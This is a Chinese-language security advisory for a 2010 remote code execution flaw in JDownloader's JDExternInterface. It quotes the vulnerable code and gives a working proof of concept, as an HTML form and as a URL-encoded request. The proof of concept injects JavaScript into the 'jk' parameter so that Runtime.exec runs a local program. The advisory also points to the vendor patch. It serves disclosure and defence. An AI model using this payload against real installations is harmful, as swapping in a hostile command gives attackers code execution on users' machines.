JDownloader JDExternInterface.java远程代码执行漏洞
发布日期:2010-02-08
更新日期:2010-02-09
受影响系统:JDownloader JDownloader < 0.9.334
不受影响系统:JDownloader JDownloader 0.9.334
描述:
BUGTRAQ ID:
38143
JDownloader是专为Rapidshare等站点设计的网盘下载工具。
JDownloader在下载过程中所传输的密钥可能为明文或JavaScript代码,之后在Mozilla Rhino Javascript实现中执行。以下是相关代码:
(plugins/JDExternInterface.jar/JDExternInterface.java):
String jk = Encoding.urlDecode(request.getParameters().get("jk"), false);
[...]
Context cx = Context.enter();
Scriptable scope = cx.initStandardObjects();
String fun = jk + " f()";
Object result = cx.evaluateString(scope, fun, "<cmd>", 1, null);
key = JDHexUtils.getByteArray(Context.toString(result));
Context.exit();
这里所初始化的默认上下文允许未加任何限制的执行JavaScript,而JavaScript可以导入和使用任意Java库。
在发送表单数据后,JDownloader会请求添加到外部站点或应用的链接(具体取决于所传输的Referer/Source和User-Agent),用户确认后就会执行JAVA代码。
<*来源:Matthias Hecker
链接:
http://marc.info/?l=bugtraq&m=126567509207402&w=2
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
<form action="
http://localhost:9666/flash/addcrypted2" method="post">
<textarea name="jk">
function f() {
var run = java.lang.Runtime.getRuntime();
run.exec('/usr/bin/xclock');
return '42';
}
</textarea>
<input type="hidden" name="passwords" value="invalid" />
<input type="hidden" name="source" value="
http://example.com/invalid" />
<input type="hidden" name="crypted" value="invalid" />
<input type="submit" value="CLICK" />
</form>
或者:
http://localhost:9666/flash/addcrypted2?jk=function+f()+%7B+var+run+%3D
+java.lang.Runtime.getRuntime()%3B+run.exec('%2Fusr%2Fbin%2Fxclock')%3B
+return+'42'%3B+%7D&passwords=invalid&source=
http://example.com/invalid
&crypted=invalid
建议:
厂商补丁:
JDownloader
-----------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://jdownloader.org/home/index?s=lng_en浏览次数:2696
严重程度:0(网友投票)